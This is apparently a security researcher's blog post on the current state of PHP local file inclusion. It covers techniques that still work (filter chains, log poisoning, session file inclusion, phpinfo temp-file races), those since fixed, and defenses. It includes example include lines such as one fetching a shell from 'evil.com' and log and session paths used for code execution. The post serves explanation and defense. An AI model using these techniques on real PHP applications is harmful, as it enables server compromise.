The End of LFI? Modern Defenses and Remaining Attack Surface
After publishing my novel LFI technique based on PHP filter chains, I received many questions about whether LFI is still a relevant vulnerability class. In this post, I examine the current state of LFI defenses and what attack surface remains.
The Defense Landscape
PHP 8.x has introduced several changes that reduce LFI risk:
allow_url_includedefaults to Off since PHP 5.2, but many legacy configurations still enable it- Null byte injection was fixed in PHP 5.3.4
- JIT compilation changes some internal handling of stream wrappers
- Fibers (PHP 8.1) do not introduce new LFI vectors
However, php://filter chains remain functional in all current PHP versions because filter chains do not require allow_url_include.
What Still Works
PHP Filter Chains
As I documented in my previous post, filter chains work with allow_url_include=Off. This is because php://filter is a local wrapper, not a URL wrapper. The distinction matters:
// Requires allow_url_include=On
include("http://evil.com/shell.php");
include("php://input");
// Works with allow_url_include=Off
include("php://filter/convert.base64-decode/resource=uploads/image.php");
include("php://filter/convert.iconv.UTF8.CSISO2022KR|.../resource=php://temp");
Log Poisoning
If the application has an LFI vulnerability and logs are readable:
- Send a request with PHP code in the User-Agent header
- Include the access log:
include('/var/log/nginx/access.log') - The PHP code from the log entry executes
This technique has worked since the early days of PHP and remains viable wherever logs are world-readable.
Session File Inclusion
PHP session files contain serialized data. If an attacker can control part of the session data:
- Inject PHP code into a session variable
- Include the session file:
include('/tmp/sess_' . $session_id)
Temp File Inclusion via phpinfo()
If phpinfo() is accessible, the file upload temporary path is revealed. A race condition allows including the temp file before PHP garbage-collects it.
What No Longer Works
- Null byte injection (
/etc/passwd%00) - fixed since PHP 5.3.4 - Remote file inclusion without
allow_url_include- blocked by default expect://wrapper - rarely compiled in, and requiresallow_url_fopendata://wrapper for include - requiresallow_url_include
Framework-Level Protections
Modern PHP frameworks have largely eliminated LFI through architectural choices:
- Laravel/Symfony: Template engines (Blade/Twig) compile to PHP without using
include()with user input - WordPress:
include()calls use hardcoded paths from the theme/plugin system - Slim/Lumen: Router-based templating, no path-based inclusion
The remaining risk is in:
- Custom PHP applications without frameworks
- Legacy code from the PHP 4/5 era
- WordPress/Joomla plugins with poor coding practices
- PHP-based file managers and CMS systems
Recommendations for Defenders
- Never pass user input to include/require - this is the fundamental rule
- Use allowlists instead of blocklists for template selection:
$allowed = ['home', 'about', 'contact']; $page = in_array($_GET['page'], $allowed) ? $_GET['page'] : 'home'; include("templates/$page.php"); - Disable unnecessary PHP wrappers via
php.ini:allow_url_include = Off allow_url_fopen = Off ; if remote file access not needed - Restrict file permissions - log files and session files should not be world-readable
- Use
open_basedirto restrict file access to the application directory
Conclusion
LFI is not dead. While modern frameworks have reduced the attack surface dramatically, PHP filter chains ensure that any remaining include() with user input is exploitable. The technique requires no special PHP configuration, no writable directories, and no outbound network access.
The “end of LFI” will come not from PHP fixes, but from the natural retirement of legacy code that passes user input to include().